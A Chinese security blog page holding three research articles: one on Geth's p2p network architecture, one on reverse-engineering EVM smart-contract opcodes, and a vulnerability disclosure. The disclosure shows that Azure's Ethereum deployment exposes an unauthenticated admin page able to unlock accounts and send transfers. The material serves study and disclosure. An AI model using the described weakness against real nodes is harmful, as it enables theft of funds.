RSS Feed
更好更安全的互联网
  • 以太坊网络架构解析

    2018-08-28

    作者:0x7F@知道创宇404区块链安全研究团队
    时间:2018年7月12日

    0x00 前言

    区块链的火热程度一直以直线上升,其中以区块链 2.0 —— 以太坊为代表,不断的为传统行业带来革新,同时也推动区块链技术发展。

    区块链是一种分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式,这是一个典型的去中心化应用,建立在 p2p 网络之上;本文以学习和分析以太坊运作原理为目的,将以太坊网络架构作为一个切入点,逐步深入分析,最终对以太坊网络架构有个大致的了解。

    通过学习以太坊网络架构,可以更容易的对网络部分的源码进行审计,便于后续的协议分析,来发现未知的安全隐患;除此之外,目前基于 p2p 网络的成熟的应用非常少,借助分析以太坊网络架构的机会,可以学习一套成熟的 p2p 网络运行架构。

    本文侧重于数据链路的建立和交互,不涉及网络模块中的节点发现、区块同步、广播等功能模块。

    0x01 目录

    1. Geth 启动
    2. 网络架构
    3. 共享密钥
    4. RLPXFrameRW 帧
    5. RLP 编码
    6. LES 协议
    7. 总结

    其中第 3、4、5 三个小节是第 2 节「网络架构」的子内容,作为详细的补充。

    0x02 Geth 启动

    在介绍以太坊网络架构之前,首先简单分析下 Geth 的整体启动流程,便于后续的理解和分析。

    以太坊源码目录

    初始化工作

    Geth 的 main() 函数非常的简洁,通过 app.Run() 来启动程序:

    其简洁是得力于 Geth 使用了 gopkg.in/urfave/cli.v1 扩展包,该扩展包用于管理程序的启动,以及命令行解析,其中 app 是该扩展包的一个实例。

    在 Go 语言中,在有 init() 函数的情况下,会默认先调用 init() 函数,然后再调用 main() 函数;Geth 几乎在 ./cmd/geth/main.go#init() 中完成了所有的初始化操作:设置程序的子命令集,设置程序入口函数等,下面看下 init() 函数片段:

    在以上代码中,预设了 app 实例的值,其中 app.Action = geth 作为 app.Run() 调用的默认函数,而 app.Commands 保存了子命令实例,通过匹配命令行参数可以调用不同的函数(而不调用 app.Action),使用 Geth 不同的功能,如:开启带控制台的 Geth、使用 Geth 创造创世块等。

    节点启动流程

    无论是通过 geth() 函数还是其他的命令行参数启动节点,节点的启动流程大致都是相同的,这里以 geth() 为例:

    其中 makeFullNode() 函数将返回一个节点实例,然后通过 startNode() 启动。在 Geth 中,每一个功能模块都被视为一个服务,每一个服务的正常运行驱动着 Geth 的各项功能;makeFullNode() 通过解析命令行参数,注册指定的服务。以下是 makeFullNode() 代码片段:

    然后通过 startNode() 启动各项服务并运行节点。以下是 Geth 启动流程图:

    每个服务正常运行,相互协作,构成了 Geth:

    0x03 网络架构

    通过 main() 函数的调用,最终启动了 p2p 网络,这一小节对网络架构做详细的分析。

    三层架构
    以太坊是去中心化的数字货币系统,天然适用 p2p 通信架构,并且在其上还支持了多种协议。在以太坊中,p2p 作为通信链路,用于负载上层协议的传输,可以将其分为三层结构:

    1. 最上层是以太坊中各个协议的具体实现,如 eth 协议、les 协议。
    2. 第二层是以太坊中的 p2p 通信链路层,主要负责启动监听、处理新加入连接或维护连接,为上层协议提供了信道。
    3. 最下面的一层,是由 Go 语言所提供的网络 IO 层,也就是对 TCP/IP 中的网络层及以下的封装。

    p2p 通信链路层
    从最下层开始逐步分析,第三层是由 Go 语言所封装的网络 IO 层,这里就跳过了,直接分析 p2p 通信链路层。p2p 通信链路层主要做了三项工作:

    1. 由上层协议的数据交付给 p2p 层后,首先通过 RLP 编码。
    2. RLP 编码后的数据将由共享密钥进行加密,保证通信过程中数据的安全。
    3. 最后,将数据流转换为 RLPXFrameRW 帧,便于数据的加密传输和解析。
      (以上三点由下文做分析)

    p2p 源码分析
    p2p 同样作为 Geth 中的一项服务,通过「0x03 Geth 启动」中 startNode() 启动,p2p 通过其 Start() 函数启动。以下是 Start() 函数代码片段:

    上述代码中,设置了 p2p 服务的基础参数,并根据用户参数开启节点发现(节点发现不在本文的讨论范围内),随后开启 p2p 服务监听,最后开启单独的协程用于处理报文。以下分为服务监听和报文处理两个模块来分析。

    服务监听

    通过 startListening() 的调用进入到服务监听的流程中,随后在该函数中调用 listenLoop 用一个无限循环处理接受连接,随后通过 SetupConn() 函数为正常的连接建立 p2p 通信链路。在 SetupConn() 中调用 setupConn() 来做具体工作,以下是 setupConn() 的代码片段:

    setupConn() 函数中主要由 doEncHandshake() 函数与客户端交换密钥,并生成临时共享密钥,用于本次通信加密,并创建一个帧处理器 RLPXFrameRW;再调用 doProtoHandshake() 函数为本次通信协商遵循的规则和事务,包含版本号、名称、容量、端口号等信息。在成功建立通信链路,完成协议握手后,处理流程转移到报文处理模块。

    下面是服务监听函数调用流程:

    报文处理

    p2p.Start() 通过调用 run() 函数处理报文,run() 函数用无限循环等待事务,比如上文中,新连接完成握手包后,将由该函数来负责。run() 函数中支持多个命令的处理,包含的命令有服务退出清理、发送握手包、添加新节点、删除节点等。以下是 run() 函数结构:

    为了理清整个网络架构,本文直接讨论 addpeer 分支:当一个新节点添加服务器节点时,将进入到该分支下,根据之前的握手信息,为上层协议生成实例,然后调用 runPeer(),最终通过 p.run() 进入报文的处理流程中。

    继续分析 p.run() 函数,其开启了读取数据和 ping 两个协程,用于处理接收报文和维持连接,随后通过调用 startProtocols() 函数,调用指定协议的 Run() 函数,进入具体协议的处理流程。

    下面是报文处理函数调用流程

    p2p 通信链路交互流程

    这里整体看下 p2p 通信链路的处理流程,以及对数据包的封装。

    0x04 共享密钥

    在 p2p 通信链路的建立过程中,第一步就是协商共享密钥,该小节说明下密钥的生成过程。

    迪菲-赫尔曼密钥交换
    p2p 网络中使用到的是「迪菲-赫尔曼密钥交换」技术[1]。迪菲-赫尔曼密钥交换(英语:Diffie–Hellman key exchange,缩写为D-H) 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道创建起一个密钥。

    简单来说,链接的两方生成随机的私钥,通过随机的私钥得到公钥。然后双方交换各自的公钥,这样双方都可以通过自己随机的私钥和对方的公钥来生成一个同样的共享密钥(shared-secret)。后续的通讯使用这个共享密钥作为对称加密算法的密钥。其中对于 A、B公私钥对满足这样的数学等式:ECDH(A私钥, B公钥) == ECDH(B私钥, A公钥)

    共享密钥生成
    在 p2p 网络中由 doEncHandshake() 方法完成密钥的交换和共享密钥的生成工作。下面是该函数的代码片段:

    如果作为服务端监听连接,收到新连接后调用 receiverEncHandshake() 函数,若作为客户端向服务端发起请求,则调用 initiatorEncHandshake()函数;两个函数区别不大,都将交换密钥,并生成共享密钥,initiatorEncHandshake() 仅仅是作为发起数据的一端;最终执行完后,调用 newRLPXFrameRW() 创建帧处理器。

    从服务端的角度来看,将调用 receiverEncHandshake() 函数来创建共享密钥,以下是该函数的代码片段:

    共享密钥生成的过程:

    1. 在完成 TCP 连接后,客户端使用服务端的公钥(node_id)加密,发送自己的公钥和包含临时公钥的签名,还有一个随机值 nonce。
    2. 服务端收到数据,获得客户端的公钥,使用椭圆曲线算法从签名中获得客户端的临时公钥;服务端将自己的临时公钥和随机值 nonce 用客户端的公钥加密发送。
    3. 通过上述两步的密钥交换后,对于客户端目前有自己的临时公私钥对和服务端的临时公钥,使用椭圆曲线算法从自己的临时私钥和服务端的临时公钥计算得出共享密钥;同理,服务端按照相同的方式也可以计算出共享密钥。

    以下是共享密钥生成图示:

    得出共享密钥后,客户端和服务端就可以使用共享密钥做对称加密,完成对通信的加密。

    0x05 RLPXFrameRW 帧

    在共享密钥生成完毕后,初始化了 RLPXFrameRW 帧处理器;其 RLPXFrameRW 帧的目的是为了在单个连接上支持多路复用协议。其次,由于帧分组的消息为加密数据流产生了天然的分界点,更便于数据的解析,除此之外,还可以对发送的数据进行验证。

    RLPXFrameRW 帧包含了两个主要函数,WriteMsg() 用于发送数据,ReadMsg()用于读取数据;以下是 WriteMsg() 的代码片段:

    结合以太坊 RLPX 的文档[2]和上述代码,可以分析出 RLPXFrameRW 帧的结构。在一般情况下,发送一次数据将产生五个数据包:

    接收方按照同样的格式对数据包进行解析和验证。

    0x06 RLP 编码

    RLP编码 (递归长度前缀编码)提供了一种适用于任意二进制数据数组的编码,RLP 已经成为以太坊中对对象进行序列化的主要编码方式,便于对数据结构的解析。比起 json 数据格式,RLP 编码使用更少的字节。

    在以太坊的网络模块中,所有的上层协议的数据包要交互给 p2p 链路时,都要首先通过 RLP 编码;从 p2p 链路读取数据,也要先进行解码才能操作。

    以太坊中 RLP 的编码规则[3]。

    0x07 LES 协议层

    这里以 LES 协议为上层协议的代表,分析在以太坊网络架构中应用协议的工作原理。

    LES 服务由 Geth 初始化时启动,调用源码 les 下的 NewLesServer() 函数开启一个 LES 服务并初始化,并通过 NewProtocolManager() 实现以太坊子协议的接口函数。其中 les/handle.go 包含了 LES 服务交互的大部分逻辑。

    回顾上文 p2p 网络架构,最终 p2p 底层通过 p.Run() 启动协议,在 LES 协议中,也就是调用 LES 协议的 Run() 函数:

    可以看到重要的处理逻辑都被包含在 handle() 函数中,handle() 函数的主要功能包含 LES 协议握手和消息处理,下面是 handle() 函数片段:

    handle() 函数中首先进行协议握手,其实现函数是 ./les/peer.go#Handshake(),通过服务端和客户端交换握手包,互相获取信息,其中包含有:协议版本、网络号、区块头哈希、创世块哈希等值。随后用无线循环处理通信的数据,以下是报文处理的逻辑:

    处理一个请求的详细流程是:

    1. 使用 RLPXFrameRW 帧处理器,获取请求的数据。
    2. 使用共享密钥解密数据。
    3. 使用 RLP 编码将二进制数据序列化。
    4. 通过对 msg.Code 的判断,执行相应的功能。
    5. 对响应数据进行 RLP 编码,共享密钥加密,转换为 RLPXFrameRW,最后发送给请求方。

    下面是 LES 协议处理流程:

    0x08 总结

    通过本文的分析,对以太坊网络架构有了大致的了解,便于后续的分析和代码审计;在安全方面来讲,由协议所带的安全问题往往比本地的安全问题更为严重,应该对网络层面的安全问题给予更高的关注。

    从本文也可以看到,以太坊网络架构非常的完善,具有极高的鲁棒性,这也证明了以太坊是可以被市场所认可的区块链系统。除此之外,由于 p2p 网络方向的资料较少,以太坊的网络架构也可以作为学习 p2p 网络的资料。

     

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    References:


    [1] WIKI.DH: https://en.wikipedia.org/wiki/Diffie–Hellman_key_exchange
    [2] Github.rlpx: https://github.com/ethereum/devp2p/blob/master/rlpx.md
    [3] WIKI.RLP: https://github.com/ethereum/wiki/wiki/RLP
    [4] Github.ZtesoftCS: https://github.com/ZtesoftCS/go-ethereum-code-analysis
    [5] CSDN: https://blog.csdn.net/weixin_41814722/article/details/80680749
    [6] CSDN: https://blog.csdn.net/itcastcpp/article/details/80305636
    [7] ETHFANS: https://ethfans.org/bob/articles/864
    [8] BITSHUO: https://bitshuo.com/topic/5975fbb14a7a061b785db8d5
    [9] Github.go-ethereum: https://github.com/ethereum/go-ethereum

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/642/

    作者:Nanako | Categories:安全科普技术分享 | Tags:
  • 以太坊智能合约OPCODE逆向之理论基础篇

    2018-08-28

    作者:Hcamael@知道创宇404区块链安全研究团队

    在我们对etherscan等平台上合约进行安全审查时,常常会遇到没有公布Solidity源代码的合约,只能获取到合约的OPCODE,所以一个智能合约的反编译器对审计无源码的智能合约起到了非常重要的作用。

    目前在互联网上常见的反编译工具只有porosity[1],另外在Github上还找到另外的反编译工具ethdasm[2],经过测试发现这两个编译器都有许多bug,无法满足我的工作需求。因此我开始尝试研究并开发能满足我们自己需求的反编译工具,在我看来如果要写出一个优秀的反汇编工具,首先需要有较强的OPCODE逆向能力,本篇Paper将对以太坊智能合约OPCODE的数据结构进行一次深入分析。

    基础

    智能合约的OPCODE是在EVM(Ethereum Virtual Machine)中进行解释执行,OPCODE为1字节,从0x00 - 0xff代表了相对应的指令,但实际有用的指令并没有0xff个,还有一部分未被使用,以便将来的扩展

    具体指令可参考Github[3]上的OPCODE指令集,每个指令具体含义可以参考相关文档[4]

    IO

    在EVM中不存在寄存器,也没有网络IO相关的指令,只存在对栈(stack),内存(mem), 存储(storage)的读写操作

    • stack

    使用的push和pop对栈进行存取操作,push后面会带上存入栈数据的长度,最小为1字节,最大为32字节,所以OPCODE从0x60-0x7f分别代表的是push1-push32

    PUSH1会将OPCODE后面1字节的数据放入栈中,比如字节码是0x6060代表的指令就是PUSH1 0x60

    除了PUSH指令,其他指令获取参数都是从栈中获取,指令返回的结果也是直接存入栈中

    • mem

    内存的存取操作是MSTOREMLOAD

    MSTORE(arg0, arg1)从栈中获取两个参数,表示MEM[arg0:arg0+32] = arg1

    MLOAD(arg0)从栈中获取一个参数,表示PUSH32(MEM[arg0:arg0+32])

    因为PUSH指令,最大只能把32字节的数据存入栈中,所以对内存的操作每次只能操作32字节

    但是还有一个指令MSTORE8,只修改内存的1个字节

    MSTORE(arg0, arg1)从栈中获取两个参数,表示MEM[arg0] = arg1

    内存的作用一般是用来存储返回值,或者某些指令有处理大于32字节数据的需求

    比如: SHA3(arg0, arg1)从栈中获取两个参数,表示SHA3(MEM[arg0:arg0+arg1]),SHA3对内存中的数据进行计算sha3哈希值,参数只是用来指定内存的范围

    • storage

    上面的stack和mem都是在EVM执行OPCODE的时候初始化,但是storage是存在于区块链中,我们可以类比为计算机的存储磁盘。

    所以,就算不执行智能合约,我们也能获取智能合约storage中的数据:

    storage用来存储智能合约中所有的全局变量

    使用SLOADSSTORE进行操作

    SSTORE(arg0, arg1)从栈中获取两个参数,表示eth.getStorageAt(合约地址, arg0) = arg1

    SLOAD(arg0)从栈中获取一个参数,表示PUSH32(eth.getStorageAt(合约地址, arg0))

    变量

    智能合约的变量从作用域可以分为三种, 全局公有变量(public), 全局私有变量(private), 局部变量

    全局变量和局部变量的区别是,全局变量储存在storage中,而局部变量是被编译进OPCODE中,在运行时,被放在stack中,等待后续使用

    公有变量和私有变量的区别是,公有变量会被编译成一个constant函数,后面会分析函数之前的区别

    因为私有变量也是储存在storage中,而storage是存在于区块链当中,所以相当于私有变量也是公开的,所以不要想着用私有变量来储存啥不能公开的数据。

    全局变量的储存模型

    不同类型的变量在storage中储存的方式也是有区别的,下面对各种类型的变量的储存模型进行分析

    1. 定长变量

    第一种我们归类为定长变量,所谓的定长变量,也就是该变量在定义的时候,其长度就已经被限制住了

    比如定长整型(int/uint......), 地址(address), 定长浮点型(fixed/ufixed......), 定长字节数组(bytes1-32)

    这类的变量在storage中都是按顺序储存

    上面举的例子,除了address的长度是160bits,其他变量的长度都是256bits,而storage是256bits对齐的,所以都是一个变量占着一块storage,但是会存在连续两个变量的长度不足256bits的情况

    在opcode层面,获取a的值得操作是: SLOAD(0) & 0xffffffffffffffffffffffffffffffffffffffff

    获取b值得操作是: SLOAD(0) // 0x10000000000000000000000000000000000000000 & 0xff

    获取d值得操作是: SLOAD(1) // 0x10000000000000000000000000000000000000000 & 0xffff

    因为b的长度+a的长度不足256bits,变量a和b是连续的,所以他们在同一块storage中,然后在编译的过程中进行区分变量a和变量b,但是后续在加上变量c,长度就超过了256bits,因此把变量c放到下一块storage中,然后变量d跟在c之后

    从上面我们可以看出,storage的储存策略一个是256bits对齐,一个是顺序储存。(并没有考虑到充分利用每一字节的储存空间,我觉得可以考虑把d变量放到b变量之后)

    2. 映射变量

    映射变量就没办法想上面的定长变量按顺序储存了,因为这是一个键值对变量,EVM采用的机制是:

    SLOAD(sha3(key.rjust(64, "0")+slot.rjust(64, "0")))

    比如: a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"]首先计算sha3哈希值:

    我们也可以使用以太坊客户端直接获取:

    还有slot需要注意一下:

    根据映射变量的储存模型,或许我们真的可以在智能合约中隐藏私密信息,比如,有一个secret,只有知道key的人才能知道secret的内容,我们可以b[key] = secret, 虽然数据仍然是储存在storage中,但是在不知道key的情况下却无法获取到secret

    不过,storage是存在于区块链之中,目前我猜测是通过智能合约可以映射到对应的storage,storage不可能会初始化256*256bits的内存空间,那样就太消耗硬盘空间了,所以可以通过解析区块链文件,获取到storage全部的数据。

    上面这些仅仅是个人猜想,会作为之后研究以太坊源码的一个研究方向。

    3. 变长变量

    变长变量也就是数组,长度不一定,其储存方式有点像上面两种的结合

    数组任然会占用对应slot的storage,储存数组的长度(b.length == SLOAD(1))

    比如我们想获取b[1]的值,会把输入的indexSLOAD(1)的值进行比较,防止数组越界访问

    然后计算slot的sha3哈希值:

    在变长变量中有两个特例: stringbytes

    字符串可以认为是字符数组,bytes是byte数组,当这两种变量的长度在0-31时,值储存在对应slot的storage上,最后一字节为长度*2|flag, 当flag = 1,表示长度>31,否则长度<=31

    下面进行举例说明

    当变量的长度大于31时,SLOAD(slot)储存length*2|flag,把值储存到sha3(slot)

    4. 结构体

    结构体没有单独特殊的储存模型,结构体相当于变量数组,下面进行举例说明:

    函数

    两种调用函数的方式

    下面是针对两种函数调用方式说明的测试代码,发布在测试网络上: https://ropsten.etherscan.io/address/0xc9fbe313dc1d6a1c542edca21d1104c338676ffd#code

    整个OPCODE都是在EVM中执行,所以第一个调用函数的方式就是使用EVM进行执行OPCODE:

    第二种方式就是通过发送交易:

    这两种调用方式的区别有两个:

    1. 使用call调用函数是在本地使用EVM执行合约的OPCODE,所以可以获得返回值
    2. 通过交易调用的函数,能修改区块链上的storage

    一个调用合约函数的交易(比如 https://ropsten.etherscan.io/tx/0xab1040ff9b04f8fc13b12057f9c090e0a9348b7d3e7b4bb09523819e575cf651)的信息中,是不存在返回值的信息,但是却可以修改storage的信息(一个交易是怎么修改对应的storage信息,是之后的一个研究方向)

    而通过call调用,是在本地使用EVM执行OPCODE,返回值是存在MEM中return,所以可以获取到返回值,虽然也可以修改storage的数据,不过只是修改你本地数据,不通过发起交易,其他节点将不会接受你的更改,所以是一个无效的修改,同时,本地调用函数也不需要消耗gas,所以上面举例中,在调用信息的字典里,不需要from字段,而交易却需要指定(设置from)从哪个账号消耗gas。

    调用函数

    EVM是怎么判断调用哪个函数的呢?下面使用OPCODE来进行说明

    每一个智能合约入口代码是有固定模式的,我们可以称为智能合约的主函数,上面测试合约的主函数如下:

    PS: Github[5]上面有一个EVM反汇编的IDA插件

    反编译出来的代码就是:

    PS:因为个人习惯问题,反编译最终输出没有选择对应的Solidity代码,而是使用Python。

    从上面的代码我们就能看出来,EVM是根据CALLDATA的前4字节来确定调用的函数的,这4个字节表示的是函数的sha3哈希值的前4字节:

    所以可以去网上找个哈希表映射[6],这样有概率可以通过hash值,得到函数名和参数信息,减小逆向的难度

    主函数中的函数

    上面给出的测试智能合约中只有两个函数,但是反编译出来的主函数中,却有4个函数调用,其中两个是公有函数,另两个是公有变量

    智能合约变量/函数类型只有两种,公有和私有,公有和私有的区别很简单,公有的是能别外部调用访问,私有的只能被本身调用访问

    对于变量,不管是公有还是私有都能通过getStorageAt访问,但是这是属于以太坊层面的,在智能合约层面,把公有变量给编译成了一个公有函数,在这公有函数中返回SLOAD(slot),而私有函数只能在其他函数中特定的地方调用SLOAD(slot)来访问

    在上面测试的智能合约中, test1()函数等同于owner(),我们可以来看看各自的OPCODE:

    owner()函数进行对比:

    所以我们可以得出结论:

    公有函数和私有函数的区别也很简单,公有函数会被编译进主函数中,能通过CALLDATA进行调用,而私有函数则只能在其他公有函数中进行调用,无法直接通过设置CALLDATA来调用私有函数

    回退函数和payable

    在智能合约中,函数都能设置一个payable,还有一个特殊的回退函数,下面用实例来介绍回退函数

    比如之前的测试合约加上了回退函数:

    则主函数的反编译代码就变成了:

    CALLDATA和该合约中的函数匹配失败时,将会从抛异常,表示执行失败退出,变成调用回退函数

    每一个函数,包括回退函数都可以加一个关键字: payable,表示可以给该函数转帐,从OPCODE层面讲,没有payable关键字的函数比有payable的函数多了一段代码:

    反编译成python,就是:

    REVERT是异常退出指令,当交易的金额大于0时,则异常退出,交易失败

    函数参数

    函数获取数据的方式只有两种,一个是从storage中获取数据,另一个就是接受用户传参,当函数hash表匹配成功时,我们可以知道该函数的参数个数,和各个参数的类型,但是当hash表匹配失败时,我们仍然可以获取该函数参数的个数,因为获取参数和主函数、payable检查一样,在OPCODE层面也有固定模型:

    比如上面的测试合约,调动test2函数的固定模型就是: main -> payable check -> get args -> 执行函数代码

    获取参数的OPCODE如下

    函数test2的参数p = CALLDATA[4:4+0x20]

    如果有第二个参数,则是arg2 = CALLDATA[4+0x20:4+0x40],以此类推

    所以智能合约中,调用函数的规则就是data = sha3(func_name)[:4] + *args

    但是,上面的规则仅限于定长类型的参数,如果参数是string这种不定长的变量类型时,固定模型仍然不变,但是在从calldata获取数据的方法,变得不同了,定长的变量是通过调用CALLDATALOAD,把值存入栈中,而string类型的变量,因为长度不定,会超过256bits的原因,使用的是calldatacopy把参数存入MEM

    可以看看function test3(string a) public {}函数获取参数的代码:

    传入的变长参数是一个结构体:

    offset+4表示的是当前参数的length的偏移,length为data的长度,data就是用户输入的字符串数据

    当有多个变长参数时: function test3(string a, string b) public {}

    calldata的格式如下: sha3(func)[:4] + a.offset + b.offset + a.length + a.data + b.length + b.data

    翻译成py代码如下:

    因为参数有固定的模型,因此就算没有从hash表中匹配到函数名,也可以判断出函数参数的个数,但是要想知道变量类型,只能区分出定长、变长变量,具体是uint还是address,则需要从函数代码,变量的使用中进行判断

    变量类型的分辨

    在智能合约的OPCDOE中,变量也是有特征的

    比如一个address变量总会 & 0xffffffffffffffffffffffffffffffffffffffff:

    上一篇说的mapping和array的储存模型,可以根据SHA3的计算方式知道是映射变量还是数组变量

    再比如,uint变量因为等同于uint256,所以使用SLOAD获取以后不会再进行AND计算,但是uint8却会计算& 0xff

    所以我们可以SLOAD指令的参数和后面紧跟的计算,来判断出变量类型

    智能合约代码结构

    部署合约

    在区块链上,要同步/发布任何信息,都是通过发送交易来进行的,用之前的测试合约来举例,合约地址为: 0xc9fbe313dc1d6a1c542edca21d1104c338676ffd, 创建合约的交易地址为: 0x6cf9d5fe298c7e1b84f4805adddba43e7ffc8d8ffe658b4c3708f42ed94d90ed

    查看下该交易的相关信息:

    我们可以看出来,想一个空目标发送OPCODE的交易就是创建合约的交易,但是在交易信息中,却不包含合约地址,那么合约地址是怎么得到的呢?

    智能合约的地址由创建合约的账号和nonce决定,nonce用来记录用户发送的交易个数,在每个交易中都有该字段,现在根据上面的信息来计算下合约地址:

    创建合约代码

    一个智能合约的OPCODE分为两种,一个是编译器编译好后的创建合约代码,还是合约部署好以后runtime代码,之前我们看的,研究的都是runtime代码,现在来看看创建合约代码,创建合约代码可以在创建合约交易的input数据总获取,上面已经把数据粘贴出来了,反汇编出指令如下:

    代码逻辑很简单,就是执行了合约的构造函数,并且返回了合约的runtime代码,该合约的构造函数为:

    因为没有payable关键字,所以开头是一个check代码assert msg.value == 0

    然后就是对owner变量的赋值,当执行完构造函数后,就是把runtime代码复制到内存中:

    最后在把runtime代码返回: return mem[0:0x24f]

    在完全了解合约是如何部署的之后,也许可以写一个OPCODE混淆的CTF逆向题

    总结

    通过了解EVM的数据结构模型,不仅可以加快对OPCODE的逆向速度,对于编写反编译脚本也有非常大的帮助,可以对反编译出来的代码进行优化,使得更加接近源码。

    在对智能合约的OPCODE有了一定的了解后,后续准备先写一个EVM的调试器,虽然Remix已经有了一个非常优秀的调试器了,但是却需要有Solidity源代码,这无法满足我测试无源码的OPCODE的工作需求。所以请期待下篇《以太坊智能合约OPCODE逆向之调试器篇》


    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/ndex.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    引用

    1. https://github.com/comaeio/porosity
    2. https://github.com/meyer9/ethdasm
    3. https://github.com/trailofbits/evm-opcodes
    4. http://solidity.readthedocs.io/en/v0.4.21/assembly.html
    5. https://github.com/trailofbits/ida-evm
    6. https://github.com/trailofbits/ida-evm/blob/master/known_hashes.py

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/640/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • Microsoft Azure 以太坊节点自动化部署方案漏洞分析

    2018-08-28

    作者:sunsama@知道创宇404区块链安全研究团队

    背景介绍

    为了迎合以太坊区块链[1]发展需求,Microsoft Azure[2]早在2016年9月九推出了以太坊节点走自动部署的模块。部署情况如下:

    登陆Microsoft Azure:

    部署Ethereum Proof-of-Work Consortium:

    访问建立的“ADMIN-SITE”可以看到一个“Blockchain Admin”界面:

    我们注意到这个管理接口提供了一个“转账”功能并且整个页面缺少鉴权机制任何人都可以访问,这样就导致恶意攻击者可以通过该接口提交钱包地址和转账数量进行转账。

    Web3.js 是⼀个兼容了以太坊核心功能的JavaScript库[3],很多以太坊客户端及DApp都是通过调用Web3.js的API接⼝来实现。 以太坊客户端开发库主要是提供了两种类型的API接口:RPC(Remote Procedure Call)及IPC(Inter-process Communications),在以往的攻击事件里很多关注点都在RPC接口上,而很少关注IPC接口,在本文的涉及“Blockchain Admin”的问题就发生在IPC接口上,由此下面做了详细的代码分析:

    代码分析

    在分析之前我们先介绍下PRC及IPC接口区别:

    IPC与RPC简介

    IPC(Inter-process Communications)进程间通信,是指在不同进程之间传播或交换信息,IPC的方式通常有管道、消息队列、信号量、共享存储、Socket、Stream等。对于geth来说IPC的方式更为高效,在安装geth之后 IPC socket不会自动创建,并且他也不是一个永久的资源,只有在启动geth时才会创建一个IPC Socket。

    有以下几个参数可以在启动geth时配置IPC相关服务,其他参数可以使用geth —help查看。

    在geth启动时使用 --ipcpath来指定一个IPC路径,会有一段信息指明IPC的相关信息。例如

    Web3.js中提供了使用IPC通信的方法。

    node_modules/web3/lib/web3/ipcprovider.js

    https://github.com/ethereum/go-ethereum/wiki/Management-APIs中给出了在命令行使用IPC的例子

    RPC(Remote Procedure Call)远程过程调用,指通过网络从远程计算机的程序上请求服务。geth为RPC提供了两种方法,分别是HTTP JSON RPC API(默认8545端口)和WebSocket JSON RPC API(默认8546端口)。

    在命令行中可以使用以下参数配置RPC服务。

    同样的在Web3.js中也提供了使用RPC的方法。

    以太坊黑色情人节事件中,攻击者就是利用了RPC接口进行恶意转账。

    流程分析

    我们在Blockchain Admin页面的两个输入框中输入转账地址和转账数量并提交。

    /home/ethtest/etheradmin/app.js定义了提交后服务器处理的方法。

    使用POST方法提交后,会判断我们输入的地址是否是合法的以太坊地址。默认情况下我们的账号是处于锁定状态的,这里判断地址正确后使用personl.unlockAccount()方法解锁账号。该方法需要的参数coinbase和coinbasePw在启动服务时已经在命令行中作为参数传递过来了,使用ps命令查看该服务的进程。

    其中f9cdc590071d9993b198b08694e5edf376979ce6是我们的钱包地址,123qweasdZXC是解锁钱包需要的密码,/home/ethtest/.ethereum/geth.ipcgetIPCPath参数的内容。

    personal.js中的unlockAccount方法。

    IpcProvider.js中对发送方法的定义。

    ipcprovider会调用JSONRPC.js将unlockAccount方法中的参数格式化为JSON格式。

    在node_modules/web3/lib/web3/ipcprovider.js中下断点跟踪一下数据流。

    然后将数据通过socket写入。

    接下来geth通过IPC接收到了请求的方法和参数,然后使用UnlockAccount函数进行账户解锁,解锁账户后使⽤eth.sendTransaction⽅法发送交易。

    sendTransaction方法会使用已经解锁后的本地账户的私钥进行签名,并使用SignedTransaction方法进行发送签名后的交易。

    我们通过geth日志获取交易hash,在console中查看详细信息。

    • 下面是从提交交易请求到生成交易并发送的流程图。

    值得一提的是:在我们分析过程发现通过Microsoft Azure提供的以太坊节点自动化部署方案仍然使用的1.7.3版本的geth ⽽这个版本里UnlockAccount函数:

    wiki中对personal_unlockAccount方法的定义:

    从keystore中解锁账户并获得私钥,并把已经解锁的私钥放到内存中。解锁账户的api允许传入超时时间,默认超时为300秒,如果传⼊入的超时时间为0,则是永久不不会超时,账户⼀直处于解锁状态,直到节点进程退出。这也是“以太坊【偷渡】漏洞事件[5]”发生的主要原因。

    风险评估

    在以往的关于以太坊攻击案例里更多的是发生在暴露在互联网的RPC接口上,⽽基于本地进程通讯的IPC接口 被认为是相对安全可靠的,但是如果类似于Microsoft Azure提供的以太坊节点⾃动化部署⽅案里 的“Blockchain Admin”基于IPC调⽤程序,本身没有任何认证直接暴露在互联网上无疑是巨大的安全风险。(注:通过ZoomEye⽹路空间搜索引擎[7]可以看到曾经暴露在互联网上的目标。)

    在实际测试分析过程发现使用Microsoft Azure提供的以太坊节点自动化部署方案更多的是联盟链或私有链,部署共有链的情况较少,所以这个安全事件实际可能给共有链的带来的影响相对不大。对于联盟链或私有链的影响需要根据其本身的情况去衡量量评估。

    报告流程

    针对以上问题我们第一时间联系了微软:

    • 2018年5月21日 相关问题描叙报告给MSRC邮件 secure@microsoft.com
    • 2018年5月22日 收到MSRC邮件反馈并按要求补充了相关技术细节
    • 2018年5月24日 收到MSRC Case分配确认邮件
    • 2018年5月31日 收到MSRC关于ZoomEye搜索引擎相关细节询问并反馈
    • 2018年7月6日 邮件MSRC追问相关问题修复进展
    • 2018年7月10日 收到MSRC反馈邮件称:他们认为这个是设计考虑的问题,用户可以选择对管理页面进行限制,另外升级了Geth版本

    总结

    区块链虚拟货币安全事件频发,安全刻不不容。通过这次的案例可以得几点建议:

    • 尽量避免使用这种自动化部署区块链应用的方案,如果必须使用的话,请仔细查看该方案使用的程序是否存在安全缺陷与漏洞。
    • 修改默认端口,关闭对外的高权限接口,如果必须暴露在互联网,请对接口进行鉴权。
    • 关注官方发布的更新日志,及时更新代码。

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
